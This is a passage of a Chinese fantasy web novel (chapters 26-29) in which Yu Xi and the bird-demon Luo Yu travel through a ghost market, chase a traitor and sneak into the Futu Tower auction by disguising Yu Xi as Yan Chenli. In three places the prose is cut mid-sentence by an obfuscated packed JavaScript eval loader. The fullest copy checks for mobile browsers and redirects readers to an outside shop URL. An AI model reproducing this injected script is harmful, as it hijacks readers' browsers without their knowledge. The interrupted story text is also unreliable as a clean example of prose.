他朝另外几具尸体扬了扬下巴,头也不回道:“这儿一共五具被钉起来的尸体,你三个我两个,不要多少功夫就弄完了,怎么缓不过来?” “不是,”洛羽都给气笑了,完全忘记重点,“为什么我三个你两个?凭什么小爷我要多干点儿活,你是什么金尊玉贵的少爷也敢吩咐我做事?” 羽熹语气如常,“我力气小,细皮嫩肉,一会儿磨破皮了怎么办。” “……”洛羽语塞。 他本懒得动手,抱着臂看羽熹折腾,看了半天,实在被他磨叽的动作磨没了耐心,撸起袖子加入。 “闪开我来!” 驿站再次响起叮叮当当的声音,半个时辰过后,五具尸体终于被抻开,一排排摆在地上。 洛羽扔了随手捡来的工具,十分嫌弃自己的手,送到鼻尖闻了闻,差点吐出来,忙不迭找东西擦拭。 “起完了,可以走了吧。” “嗯。” 羽熹回头看了一眼二楼最末端那间房间,里头灯光还亮着,和其他被血淋过的房间不一样,有一种夜色独有的安然静谧。 他想起上半夜那一声声敲门声,和诡异的重物拖地声,无论多热闹,始终都没到那间房。 回过头,羽熹终于肯迈开腿离开驿站,走到大门外他又停了下来。 洛羽真后悔没把他一刀宰了,差点想喊他祖宗,“又怎么了?” 羽熹抬手指着写有“黄泉驿”三字的幡子,冷静开口,“把这里烧了吧。” “烧了?你把他当棺材么,少了个驿站,以后那些人要去海市上哪儿找路去?” 说完他自己都动摇了,毕竟,别人找不到路关他什么事! “不烧么,”羽熹叹了口气,“那就去把那些挂着的尸体先取下来,然后挖坑埋了。” “……” 洛羽嘴角狠狠一抽,在羽熹即将迈步前,揉出一个火球扛在头顶,重重往木楼砸过去。 这火球焰心赤红,外焰有一层极淡的白,必不是普通的火。 倒有些像朱雀的南明离火。 羽熹目光盯着一触及实物就迅速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而在岛的正中央,伫立着一座耸入云天的巨塔,宛如一个雾中的庞然大物,隔着如此远的距离,都能感觉到严严威势,它若倾覆,恐怕罗刹海都要掀起千层浪。 这次定没有走错,不是什么驿站,这楼一看就是浮屠塔。 “那谁,虽然不知道你叫什么,还是要多谢你带路,后会有期。” 羽熹揉了揉望酸了的脖子,对着那只鸟拱了拱手。 明日浮屠塔才会公布拍卖名单,现在他需要找到云方仪和云霄青,再去弄张邀请令。 离开时,他确认过驿站没有别的活人,那岛除了驿站也根本藏不住人,如果他们不在黄泉驿,那很大可能已经到罗刹海市了。 “等等,你去哪里!”洛羽拦住不让他走。 “怎么,你还要赖上我?” 洛羽冷笑,“我说过,我不会让你离开我的视线,等我拿到我想要的东西,就带你去一个地方,我自有办法知道你到底是不是谢乔,你别想跑。” “啧。”羽熹搓了搓胳膊,牙酸得很,“你能别说这么肉麻的话么?不知道的还以为你爱上我了,一眼都舍不得少看。” “你他娘的恶心谁呢!”洛羽一张脸皱成包子,但始终不肯让道,“反正你不能走,你得跟着我。” “腿长在我身上,你一麻雀管得着么。”羽熹呼开他就往岸边走。 此处人虽不多,但在罗刹海市,有眼睛的地方就藏不住秘密,洛羽不敢跟他闹,化成红雀扑腾着翅膀,两只爪子死死抓住羽熹肩膀,在他耳边叽叽喳喳,“反正你不是去找人就是去找令牌,我就勉为其难帮帮你。” 27. 朱雀骨2 海市没有所谓的门,可以说无论从哪个地方上岸,只需复行百步,就算进入了海市,届时便如江鲫入海,两个人稍不注意,就能走散。 羽熹肩上驮着一只巴掌大的红雀,并不算最显眼的,堂而皇之骑着高大威猛的异兽穿街而过的多得是,有时还得给他们让路。 “我跟你说,罗刹海市就是修真界最大的鬼市,里面错综复杂,就算是我,也没完全摸明白里面的具体情况,你要在这儿找两个人根本不现实,不如我们直接去浮屠塔,你朋友肯定也是为了这个来的,说不定在浮屠塔就能碰上,如何?” 洛羽在他肩上叽叽喳喳个没完。 “你不就是想去一个邀请令多的地方么,还有两天,急什么。” 羽熹捏了两根手指对着小鸟比划,似乎想着给他肥美的屁股来个指弹。 洛羽抬起爪子往肩膀外侧挪了两步,歪脑袋躲开他的手,道:“是又怎么样,我最烦你这种磨叽的人,火烧眉毛了还要装淡定,我要是拿不到我要的东西,我照样杀了你。” “你性子太急,会吃亏的。” 羽熹穿梭在灯海中,脚步越发慢起来。 “就跟你不急似的,”红雀儿圆溜溜的眼珠子忽然一转,有了主意,“做个交易吧?” “不做。” “……” 洛羽又被噎了一次,忍住当场把他肩膀啄烂的冲动,耐着性子道:“你不是好奇拍卖会的名单么,这样,你直接去浮屠塔,我现在就告诉你,怎么样?” “嗯。”羽熹不按套路出牌,直接开门见山,“我要雪魄石有么。” 洛羽以为还要跟他拉扯两局才能成事,没想到他转头就改口了,差点没反应过来,“呵呵,当然有,赶来参加拍卖会的这些人里,哪个不是为了朱——什么?额……你不是要朱雀骨啊?” “朱雀骨?”羽熹把这三个字在舌间兜了一圈,“我要这个干嘛?你就说有没有雪魄石。” “……居然不要朱雀骨,”洛羽有些生无可恋,羽毛颜色都暗下去,“有,第二件拍卖品就是。” 忽然爪子没抓稳,差点滚了下去。 羽熹好端端走在路上,不知道被谁撞了一下,整个人差点载个跟头。 “没长眼睛啊!”撞他那人骂了一句,扭身走了。 羽熹扶着路边的石柱,抬手捂了捂肚子。 “怎么,那人不是撞你肩膀么,你扶肚子干嘛?果然娇气,碰一下就要死要活的。” “饿了。”羽熹气息有点弱。 洛羽:“……” 羽熹没说笑,是真的饿。 这两日都没顾上吃灵石,然而龙蛋一天天发育长大,需要的灵力只会更多,这几天没少打斗,在卧雪宫补回来的灵力也一点点被消耗殆尽。 猛地被人一幢,竟然有些头晕,肚子也难受起来。 “你不会来真的吧?不是挺能耐么,撞一下就不行了?” 洛羽踩在肩膀,似乎能感觉到此人有些虚弱,于是顺着他胳膊一跳一跳滑下去,抓住他的脉搏探了探,不探还好,一探便霎时间头晕目眩天崩地裂道心破碎。 他一双细爪子细腿儿到浑身蓬松似球的羽毛都在密密颤抖,哆哆嗦嗦难以置信,“你你你的脉象,好好好奇怪,这这这好像是喜脉,你……你他娘的不是男人吗?!” 羽熹唇色有些泛白,闻言嘴角一翘,“啊,其实我是女人来着,你没发现?” “你糊弄你大爷玩儿呢?!”洛羽大骂,“你他娘的明明就是个男的,你到底是怎么做到的?男的也可以怀孕吗?还是我弄错了?” “这不可能!绝对不可能!你是个男人,你不可能怀孕,我得药王真传,也不可能弄错,那到底谁错了?!” “对,一定是天道出错了!” 羽熹:“……” 他走到一个没人的角落,摸出两颗白灵璧丢进嘴里嚼吧嚼吧咽下去,脸上稍微有了点血色,继续顺着人群走,“别惊慌,等你也面临灭族危机,说不定也能怀。” “什么?!”洛羽惊得尖尖的鸟嘴大张,“你怎么知道我族已经灭绝,只剩我一个了?” “……”羽熹面无表情,“那你要小心你的屁股了。” 洛羽下意识用翅膀捂住屁股。 “我的天哪…” “我的天哪……” “我的天哪………” 这一路,小雀儿像霜打的老茄子,内里还被虫蛀空,沧桑还干瘪,羽毛都不蓬松了,不停地喊天喊地,仿佛别人怀孕对他打击很大。 羽熹终于受不了,两指将他弹飞,洛羽差点落在地上,扑腾两下又飞回去,连骂人都不会了。 “我的天哪…我的天哪………” “……”羽熹一个头两个大,不得不捏住他的鸟嘴,“嘘,别说话。” 洛羽:“?” 羽熹的目光锁在人群中一道灰色身影上,洛羽顺着看过去,想起什么,“这不是你在黄泉驿追的那个大方脸么。” 庄游崖隐在人群中,警惕地看了看周围,往一个小巷子拐了进去。 羽熹不远不近跟上,“你见过他?” “嗯,这人是前阵子新来鬼市的,听说他叛逃师门被追杀,才躲到这里来。” “他曾经是问天阙的弟子。”羽熹道。 “哦,这么说是被问天阙追杀了,难怪要躲到这儿。”洛羽吹了吹额间翘起的一撮黄毛,毫不在意。 “不过他现在还不跑也是胆子大,浮屠塔拍卖会,问天阙这样的宗门当然也在受邀之列。” 问天阙的人也来? 羽熹心突突一下,莫名想起了鄢尘离。 庄游崖脚步很快,拐进了一片礁石群。 这里礁石表面被风化,大小窟窿崎岖不平,中间被人为凿穿,洞窟连成一片,四通八达,稍有不慎就会迷路。 羽熹紧跟脚步,见庄游崖进了个点着灯的洞窟。 庄游崖停在洞窟门前,摇响门上的石铃,很快有人打开门,把他让了进去。 羽熹凑近一些,从一处岩石缝隙,恰好可以看到里面的情形。 一个高大的身影转过头,半张脸长着青绿色的鳞片,耳后还有两扇半透明的鳃。 “我要的东西带来了么。” 庄游崖在洞里转了转,确定这里只有他们两人,才从身上摸出一块银色的牌子递给他,“我的东西呢。” 那人没说话,将令牌翻来覆去检查,“没错,这是浮屠塔的邀请令,你从哪儿弄来的?” “这个你别管,说好的血流萤呢,你不会没有吧?”庄游崖眼神阴狠。 “哈哈哈哈哈哈哈,”青面水妖大笑,拿出一个布袋递给他,“这可是十七年前的那批货,跟市面上那些劣质的玩意儿可不一样,拿去点点。” 东西递出去,那青面水妖把令牌收好,转身对着壁上神龛里的神像拜了拜。 神龛旁烧着香烛,橙黄的烛火把神像面庞照亮,竟然是一个面容俊美的少年。羽熹心中惊讶, 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“呵呵,”庄游崖立在门边,扭过头来,露出一个阴恻恻的笑,“因为血流萤用完了啊。” 他腰间一道银光闪过,羽熹定睛一看,是之前在黄泉驿时他扔出来得那种崩山子。 刚反应过来,庄游崖已经扔出一枚,崩山子一砸在青面水妖身上,就迸发出一道刺目的光,将空气切割成两半,随即一声巨响,洞窟震裂,轰然倒塌。 羽熹飞快躲开,还是被崩出来的碎石块砸中脚后跟,疼得他龇牙咧嘴,扭头一看,石块上还沾着血红肉沫。 “这样,邀请令和血流萤不就都有了么。” 庄游崖刨开石块,从一滩血肉模糊中捡起被炸碎成两半的邀请令,在衣角擦了擦血渍便收起来,准备离开这里。 将一起身,一把“菜刀”落在他脖颈,风小六那张熟悉的脸凑近,眼神却截然不同,凛然如霜,带着杀意。 “抓住你了,庄游崖师兄。”羽熹冲他咧嘴一笑,眼底却不见笑意。 庄游崖见鬼似的,双腿一颤。 早在黄泉驿看见他时,他就觉得自己在做梦,这人明明被他推下了阴墟,怎么可能活着回来! 鬼,一定是鬼! “你……你到底是谁?” 羽熹凑近一些,伸手用手指勾了勾庄游崖的发丝,“不记得我了?你不是说要带我走么?” 洛羽猛然睁大眼睛,“你!你在说什么?你肚子里的孩子不会是他的吧!” 羽熹:“……” “风小六,你没死,你怎么可能没死!难道那云方仪还真把你给救上来了?这怎么可能?” “我没死,但你今天能不能活就不一定了。”羽熹眼神一凛,“告诉我你把我哄骗走后,在青滦河谷发生的事。” 庄游崖:“青滦河谷?发生了什么?” 羽熹自然不可能告诉他自己一个男人怀了孩子,只是握着剑意,往他脖子里压了压,立马出现一条血线。 “呃……我想想,我想想……” 洛羽难以置信,眼前这个方脸男人有可能就是这娇气包的情人,鸟嘴大张,半天闭不上,眼珠子上下打量庄游崖,发现他手正不着痕迹地藏到身后,预感不妙,大叫一声,“娇气包,退后!” 羽熹低头一看,庄游崖已经摸出了一颗圆球,往两人脚下一砸。 28. 朱雀骨3 崩山子这种东西没有门槛,甭管是普通人还是修士都能使,所以芳草堂在制造的时候,严格限制了它的规格。 尺寸统一,只有鸽子蛋大小,内部只能放置一颗灵石,即便是放白灵璧,也最多就炸个千斤重的石门。 但若放上血流萤,威力则更强一些,若没有防备,修为又弱,就会像青面水妖一般,被炸个稀巴烂。 羽熹此时修为尚且未恢复,兼有些虚弱,还是忌惮这玩意儿,忙收回剑意,躲开三尺,捂住耳朵,跟过年放炮炸牛粪的小孩儿唯一的区别就是他一点都不高兴。 结果等半天不见响,抬头一看,那“崩山子”正不断冒出浓烟。 羽熹眉头一皱,暗道被耍了,走近一看,地上根本不是什么崩山子,就是一颗烟雾弹迷人双眼的。 再一看四周,早没了庄游崖的踪影。 羽熹一脚吧烟雾弹踹开,转身追上去。 洛羽不知道他在撒什么气,叽里咕噜埋怨,“让你废话多,你明知道他有邀请令,怎么不先抢邀请令?脑子里就知道些情情爱爱,那大方脸有什么好,长得还不如那个水妖。” 羽熹:“……” 庄游崖这一逃,再要找他便是大海捞针,羽熹不信命跟了一路,反倒给自己跑得气喘吁吁,却连对方影子都没看到。 “我说你这体力,平日疏于修练啊,才跑几步就跑不动了。” 羽熹嘴角一扯,“你站着说话胖肚子不疼,有本事别站我肩上,下来自己走。” 洛羽扭了扭扫帚似得尾羽,鼻孔朝人,“你以为我想站你肩上,我是白鸦,被发现就完了。” “白鸦到底是什么?”羽熹掸掸一身灰,不再追人,找了个地方认真喘气儿。 洛羽还是那一套,“你去浮屠塔我就告诉你。” “……” 这次羽熹没有拒绝,在鬼市大致转了转,他明白继续转下去不会有任何收获,还不如直接去浮屠塔。 “这就对了嘛。”洛羽得意。 一人一鸟随着人流流到岛中心浮屠塔下,一层大殿门口是百阶长梯,往来形形色色,在黄泉驿尚且还要掩藏真身的妖族,在这里根本不加掩饰,也无修士喊打喊杀。 羽熹只看了一眼,更多的是对巍巍高楼和百层长阶的绝望,“怎么又要爬楼梯!” “不爬你飞上去咯,这里又不限飞,反正每一层楼外都有结界,飞不上去,但飞上台阶还是可以的——喂喂,你怎么又坐下了?你这人到底是有多娇气。” 羽熹单手往后撑着,眼神疲惫地注意来往的人,没理会他的话,指了指人群中那些个穿着白袍跟幽灵似的人问,“那些就是白鸦?” “嗯,白鸦其实就是浮屠塔的妖仆,除了来往黄泉驿引路,就是在浮屠塔中供差。” 羽熹若有所思,“听说白鸦大多都是妖,所以浮屠塔背后的主人也是妖?” 洛羽默然片刻,面色阴沉,“没人知道浮屠塔背后的人是谁,但白鸦之所以都是妖,是因为外界根本不容妖族,这不是他们选择的,你以为妖仆能有多大自由,就算被客人失手杀了,也没人会在意。” 见肩上麻雀羽毛都要炸了,羽熹伸手在旁边的水池勾了几滴水洒在洛羽脑袋上,给他将降降火气,接着问:“那管白鸦的又是谁?” “……”洛羽把脑袋甩成旋风,把水全部溅在羽熹脸上,气儿才顺了, “是青栩,青栩不知种族,但是比白鸦高一个等级,白鸦不允许上第九十九层,青栩可以。否则我还出来找什么邀请令。” 羽熹用袖子擦了擦脸,正要说什么,人群忽然传来骚动,所有人都停了下来,高高仰起头看着浮屠塔金碧辉煌的殿门前。 “快看,拍卖会名单出来了。” “今年来了这么多人,恐怕东西不简单。” “废话,我听说,州盟所有宗主都来了,就连首尊无相大人也来了,听说他修为已至一念飞升之境,多年不曾破境,难道这里头有能让他一步登天的东西?” “若真有,那他可是咱们整个修真界多年来第一个飞升之人啊。” “出来了出来看了,快看。” 殿前天幕上,渐渐滚出一卷金光熠熠的透明卷轴,卷轴空白,没多久,缓缓冒出第一行字。 ——拍品一 太阴鼎 阶下一片哗然。 “太阴鼎?这可是极品法宝,我在书上看到过,据说能熔世间万物炼器,这东西要是让芳草堂买去了,那么未来五十年,都没哪个宗门能比他们更有钱了吧。” 羽熹终于坐起来,混进人群中侧耳。 肩上肥雀儿却忽然叫了一声,“奇怪。” “奇怪什么?” 洛羽嘀咕,“往年拍卖品都是在第九十九层内部公布,今年怎么在门外公开公布了?” 很快,有人念出第二件拍品:雪魄石 “果真有雪魄石。”羽熹眼尾一弯。 折腾这么些日子,总算是没找错方向。 洛羽瞬间就不乐意了,“你以为我在骗你?我说在第二件就是第二件,用得着跟你废话?” 羽熹笑吟吟的,懒得跟他置气了。 别人还在昂首等待看下一件是什么惊天地泣鬼神的宝贝,羽熹并不在意,不紧不慢拾阶而上,继续琢磨邀请令的事儿。 等他走到阶梯顶端,名单也刚好公布完,周遭再次陷入轰动。 “朱雀骨,是朱雀骨!曾经的妖王朱雀一族的脊骨?那可是顶级灵骨,是仙根啊!” “灵骨即天资,天资决定了修为上限,这世上那么多修真者,被灵骨框出了极限,有仙根的寥寥可数,若是能得到朱雀骨,是不是也能与天道争一次命?” “得到了又如何?你还能把你的脊骨换成朱雀骨?只怕你还没飞升,人就已经身死道消,换灵骨根本就是天方夜谭。” “谁说的,十七年前不是有人摸到了门路么……” “你说那个谢乔?” 羽熹侧目看了那俩讨论的人一眼,却没想谢乔的事,而是想起他好像听谁说过,云方仪天资卓绝,曾经也拥有顶级灵骨。 “原来顶级灵骨就是仙根?” 他在心底叹惋,云方仪该是何等强大的心脏,失去了仙根,竟然还能好好的,不生心魔不怨恨,甚至还一心想着要查清血流萤匡扶正道之事。 这分明早就不是他的责任。 如果他不要什么雪魄石,直接把朱雀骨弄到手,那岂不是不需要鄢尘离,也能还清他欠云方仪的因果债? “你在想什么?”洛羽小眼珠警惕地盯着他,“现在知道这压轴的朱雀骨意味着什么了?我告诉你别打朱雀骨的主意,它是我的。” 羽熹长睫微敛,轻然一笑,“你看那些人的眼神,他们是不是上一秒还在感叹,多羡慕那些能进九十九层拍卖会拍到助益自己破境的灵宝的人,现在却是一种‘我为何不能想办法混进拍卖会,把那朱雀骨弄到手’的表情?除你以外,多少人心里都以为,朱雀骨已经尽在囊中?看来浮屠塔要乱起来了,到时候朱雀骨花落谁家还真不一定。” “我跟他们能一样?”洛羽两只爪子忽然收紧,“你什么意思?” 羽熹抬眼,眸中映出的分明是浮屠塔昼夜不灭的极乐火,看着却像是一颗颗被欲望点燃的心焰,在黑暗中蠢蠢欲动,“我的意思是说,雪魄石和朱雀骨,我都要。” …… 罗刹海市明面上的交易都聚集在浮屠塔内部,每一层都如同一座五脏俱全的城池,甚至还有小型望火台。 羽熹没有再去找邀请令,而是准备直接上第九十九层。 然而停在通向第二层的旋转楼梯时,他就已经却步,好半天没动作,目光盯着地面发神,跟被夺了魂一般。 洛羽一反常态没有反驳他方才夸下海口要拿下拍卖会两件拍品的话,看懂了他的踟蹰,嘲讽一笑,抬起翅膀指了指,“去找白鸦,他们会带你乘云梯。不过我告诉你,只能到九十七层,再往上就上不去了。” “为何不能到九十八层?” 羽熹脚尖一转,去找最近的白鸦。 “九十八层是过渡区,那里什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“左边就是通往上一层的楼梯,再走一段路就是一个有青栩把手的入口。喂,你不会是要硬闯吧?”洛羽在他肩上跳了跳,歪着脑袋看羽熹,“我劝你不要打这个主意,这可是人家的地盘,要是能硬闯,我还用这么费劲抢令牌?” 羽熹脚步不停,摸出几颗白灵璧吞掉,抬起手转了转手腕上的黑色手镯,下一瞬,那手镯被他用法术隐匿起来,再一转眼,少年摇身一变,幻化成了另一个男人的模样,身形更加高大,气度慑人,仿佛有一层寒气包裹,让人不敢靠近,那双狭长的眼尾一夹,能冻死人。 “这谁啊,怎么这么眼熟?”洛羽嘀咕一句,绕着羽熹周遭飞了一圈,上下打量,陡然睁大圆眼,花容失色,几乎是尖叫,“鄢尘离!” 他上下嘴壳子打着颤,难以置信,“你你你……你认识鄢尘离?” 羽熹一笑,“就是要这个反应,看来无相大人的名号在浮屠塔也好用,拿去。” 他从腰间芥子袋中摸出几种材质不同的东西递给洛羽,“看看什么材料相似,造一个假的邀请令,用这张脸混进去,外面人不是说了么,州盟首尊无相大人也在邀请名单。” 洛羽翅膀有些僵硬,好半天没说话,“你胆子真够大的,连他都敢冒名顶替,这要是被发现,到时候你们都在九十九层,想跑都跑不了。” “有什么好怕的。”羽熹把东西扔给他,洛羽用嘴叼住,往窗台上一放,挑了一块材料,爪子往上一踩,使了个障眼法,将之变成了邀请令的模样。 弄完他收起翅膀一缩腿,愣得像只被吓傻了的鹌鹑,一动不动,像是在做心理建设。 “你可要想清楚了,这个人可不是谁都敢惹的,我前几年见过他,他……” “他怎么?”羽熹问。 洛羽两眼放空,说话都有些不利索,“他是个疯子,喜怒无常阴晴不定,我见过他大开杀戒的样子,简直,简直就是……” 他咽了口水,似乎陷入了回忆,说话颠三倒四,“我第一次见他他还不这样,只是人冷了些,毕竟是谢乔的师尊……后来,别人都说他剑下沾染的邪魔之气太多,被反噬,性情大变,有时候正常,但发疯的时候,简直是杀神降世,没人敢惹他……” “喂,你在说什么?”羽熹发现这鸟不太正常,叽里咕噜说一堆他没听太清。 “他……对,是他抽走了我的脊骨!”洛羽瞳孔紧缩,眼眶睁大,僵硬地盯着羽熹。 29. 朱雀骨4 羽熹眼神一凝,“什么意思,他为何要抽你的脊骨?” 洛羽现在状态不对劲,羽熹脑海中浮现出几个细节,拼凑成一个答案,脱口而出,“难道,明天要拍卖的朱雀骨,就是你的脊骨?” “当然!”洛羽忽然大吼一声,差点失控,“我说过那本来就是我的!” “是他们!他们就是不肯放过我们,我妖族已经伏法认罪,他们还是杀了我爹,抽走我脊骨……” 洛羽那两条纤细如枯枝的鸟腿几乎支撑不住他圆滚滚的身体,两只翅膀捂住脑袋,满眼都是仇恨的火焰。 “我一定要把它抢回来!” 他大喊一声,振翅一挥冲了出去,刚才还在质疑羽熹硬闯,现在倒是他不管不顾了。 羽熹连忙两手一扑将他抓住,“ 冷静!你先冷静!就你这样过去只能被他们扒光了毛从楼顶扔下去,如果这真是你的脊骨,我会帮你。” 掌心失控的肥雀儿发疯乱啄,啄得他手火辣辣的疼,好不容易才消停下来,似乎是有些瞧不上他,豆大的眼珠将他纤弱的小身板上下一打量,“你?你怎么帮我?!” 羽熹安抚性地顺了顺他的羽毛,拿上窗台的令牌,将他放在肩膀上,“先混进去再说。” 换了个形象,洛羽怎么都觉得别扭,或许就是因为鄢尘离这张脸,总让他觉得脊骨幻痛。 “连走路姿势都学得这么像,你认识他?” 羽熹这时候可不能告诉他自己跟鄢尘离是道侣关系,只说一句,“我是问天阙来的。” 由他去猜测补全。 “难怪,你是背着宗门偷偷来的吧,浮屠塔给问天阙送过好几张令牌,你没有随他们一道来,肯定是没资格,可怜。” 羽熹:“……” 这张鸟嘴。 没多久,两人走到通往上一层的入口处,门口的阶梯每隔一阶就一左一右站着两个穿着青黑色外袍的青栩使者。 另一侧走廊也走过来不少拿着邀请令的人,羽熹缓步向前,注意着那边的情况,受邀者将邀请令拿给青栩检查,青栩更多的是在检查令牌而不是人。 这让羽熹有些心里没底。 很快他已经走到近前,有不少人看到是无相大人大驾光临,纷纷拱手让路,请他先过。 “……”羽熹只好上前,把令牌拿给青栩。 青栩双手接过令牌,翻来覆去地查看,羽熹有些着急,刚才那些人都没看这么久,莫不是察觉到了异样? 不止他,肩上的洛羽也摒住了呼吸。 等啊等,那青栩终于有了反应,不过不是交还令牌,而是把令牌交给他身后外袍颜色比他更深的青栩查看。 洛羽在他耳边小声说:“青栩的等级是按衣服颜色来的,颜色越深等级越高,他们不会是发现什么了吧?” 羽熹凝眉,却并未露出任何异样,依旧负手立在原地,眼睫垂下,似乎外界的声音他都不屑去听,等久了眉宇间还有些不耐烦。 青栩察言观色,早注意到了他的表情,连忙上前,恭敬道:“无相大人请包含,这几日已经有不少人拿着假令牌想要混进九十九层,我们不得不严查。” 他越说,越是能感觉到“鄢尘离”周身气压越发低,到最后声音几乎都块听不见,交叠的指尖都有些难以察觉的微微颤抖。 “你是说,我的令牌有假?” 说这句话时,羽熹故意外放神识施压,识海中的龙魂有闲情逸致的看热闹,还帮了他一把,掷地有声的话语,伴随着那阵气压,让脚下地面都抖了抖。 那更高等级的青栩连忙跑回来,把令牌捧在手上还给羽熹,低眉顺眼道,“不敢,无相大人,请。” “鄢尘离”拿过令牌,甩给他一声冷哼就过了卡。 等所有列排的青栩都被抛在身后,羽熹终于松了口气,“没想到鄢尘离这张脸这么好用。” 洛羽一抹羽毛尖上不存在的汗,别了他一眼,“万幸那个鄢尘离此时还没到浮屠塔,你等他到了,青栩就会发现你是冒名顶替的,自己想想后招儿吧。” 羽熹一笑。 穿过通道,便上至九十八层。 这一层和九十七层又不同,中心位置也有一个“圆柱”,比九十七层圈围小很多,大概二十围,像是一根支柱,脚下是纵横交错的栈桥,悬在空中,下面一片漆黑。 除了栈桥什么都没有,周围的墙壁由大大小小的镜子拼接而成,一进去就出现许多大小不一身形扭曲的“鄢尘离”,分明只有几个人,却好像这里已经人满为患。 “贴着镜子走,直接通向九十九层。” 羽熹照他的话贴着镜子走,扭头,就看到多日不见的那张脸,被他模仿得连自己都认不出来,他觉得好玩儿,对着镜子做了几个古怪的表情,把自己逗笑了。 “幼不幼稚,赶紧走吧,万一他们发现就不好了。” 羽熹加快速度,边走边玩儿。 与此同时,在这面镜子墙的背后,一片漆黑,漆黑深处一动不动站着三个人影,为首的那个整个人都隐在和暗中,静静地看着走过去的一人一鸟。 而在这一面,和外面所呈现的景象完全不同,镜子中,“鄢尘离”和小麻雀的身形是虚的,转而真身被放大数倍,一条雪白的上古仙龙和一只火红的朱雀身影交叠,从镜子中快速走过。 …… 穿过狭窄镜子通道,眼前一片豁然开朗,浮屠塔第九十九层,比之第一层更加奢靡,倚着栏杆往下一望,底下有巨大的水池,池中心是舞榭歌台林落,回廊连桥曲折,穹顶帷幔轻薄,层层叠叠,舞姬从天而降,散落的花瓣甚至飘到了羽熹胸口。 舞姬朝他投来一个妩媚的眼神,长腿缠着红绡纱回旋飞舞落到水池中央。 宾客满席,歌舞升平,这种场合,只要进来了,随便找个席间一钻,就找不到了。 “这几日来的都是贵客,即便是青栩,也不敢跑人家包间里大张旗鼓搜人吧。”羽熹接住一片花瓣,放在鼻尖嗅了嗅。 “你太小看青栩了。”洛羽依旧警惕着身后,果然听到了动静。 “那张令牌是假的,把人抓回来!” 朱雀侧目,听见身后通道传来脚步声,楼下的青栩似乎也接收到了命令,开始穿梭在席间找人。 “这么快就发现了?”羽熹“啧”了一声,脸疼。 得先找个地方躲起来,就这么躲到拍卖会开始也不是不行。 羽熹没有下去,沿着二楼的雅座往前,身后很快有青栩追了过来。 洛羽道:“再往前就是宾客休息的房间,你还不如下去呢。” “房间?”羽熹很快又跑到道路狭窄的休息区,根本无处藏身,脚步声又多了几道,听起来已经被包围。 羽熹左右看了看,随便找了一间房间,推门而入,见里头漆黑一片,想来是没人住,便松了口气,关上门。 他扒在门口等脚步声过去,确认青栩没有发现他,才起身摸进房间。 房中一片漆黑,等他点上灯,这儿就是他的宾房,正好在这里躲到拍卖会开始。 刚好有些困,羽熹打了个哈欠,往里摸进去找床。 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984415|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这房间不知是何构造,摸黑没走几步,脚下竟然踩空,羽熹一个不妨,跌了下去。 他下意识护住腹部,却噗通一声砸进水中。 这儿竟然有个水池? 还是温水! 这让羽熹兴奋起来,胡乱扑腾两下,就划开手游了起来。浮屠塔果然奢靡,居然给每个房间都弄了温泉池。 洛羽大骂,“动静小点儿!你想把青栩引来吗?笨蛋!” 羽熹充耳不闻,很久没下水,跟回了老家似的,一潜一浮。 这温泉池还挺大。 他放开了撒欢,在水里翻来翻去,甚至想把自己衣服脱了,窸窣间,突然摸到一块鼓鼓囊囊的东西,不像石头,软软的沉甸甸的,带着韧劲儿。 他好奇捏了捏,竟然还有变化,似乎有要抬头的架势。 坏了,莫不是水中养了什么小兽? 他翻了个身凑近仔细瞧,但水中光线太暗,看不太清究竟是个什么东西,他便循着往上摸去,摸出是个人形。 人?! 羽熹一口气岔开,喉咙里呛了水,“腾”地破水而出,呛咳几声,冷不防与一个黑影来了个贴身面对面。 这房间原来有人? 什么人这么奇葩,不睡觉也不开灯,摸黑泡在水池子里搞什么古怪! 他眨了眨眼,想看清那人面孔,那人似乎抬了抬手,下一瞬,整个房间骤然亮了灯。 多日不见熟悉的脸与他只隔了咫尺,羽熹吓得一个后仰,“鄢尘离?你怎么在这里?!” 羽熹惊呼一声,手中还保留着方才的触感,恍然大悟一般,明白过来自己摸到了什么。 当下脸烧得通红,心中却不免惊叹。 好大……怎么会如此大……这是人该有的尺寸吗? 男人立马抬手扣住了他的腰,往自己的方向收掌压了压,羽熹又被迫回去,腰腹位置与男人更贴紧了些。 羽熹皱眉,腰不太舒服地挣动,“放开!使那么大劲儿干什么,压到我肚子了。” 洛羽依旧维持着肥雀儿的身形,在房间里飞来飞去视察,听见这边有动静,扑腾两下落在水池边,还跳了几步,“怎么了?有人?” 凑近一看,两颗圆豆眼差点脱框,“鄢……鄢尘离!” 那一瞬间,仇恨和怒火再次将他羽毛烧了个透,洛羽站立恢复人形,想也不想抽出骨刀就朝池中人扑过去。 仅仅两步之遥,却如同天堑,他连碰都未碰到池中人分毫,就被一道无形的力量,以肉眼难以看清的速度震了出去。 房间另一侧墙壁被他砸出一个人形坑,却没有掉下来,那股力量把他摁在墙上不断收拢,挤压浑身骨骼,令他整个人都变了型,眼球突出,脑袋充血,脸上脖子上青筋暴起。 洛羽声音嘶哑,奋力挣扎,“放开我!鄢尘离!我要杀了你!你和谢乔……都该死。” 他在这一头骂,另一头的鄢尘离却连个眼神都不给,依旧是落在怀中少年身上,看新奇的,上下打量。 羽熹觉得眼前人有些奇怪,他是鄢尘离,又不是,脑筋一个飞转,忽然明白过来。 ——哦,又发疯了。 羽熹看见,眼前的鄢尘离瞳色黑红,身上多了些戾气,对他完全陌生,好像在研究他。 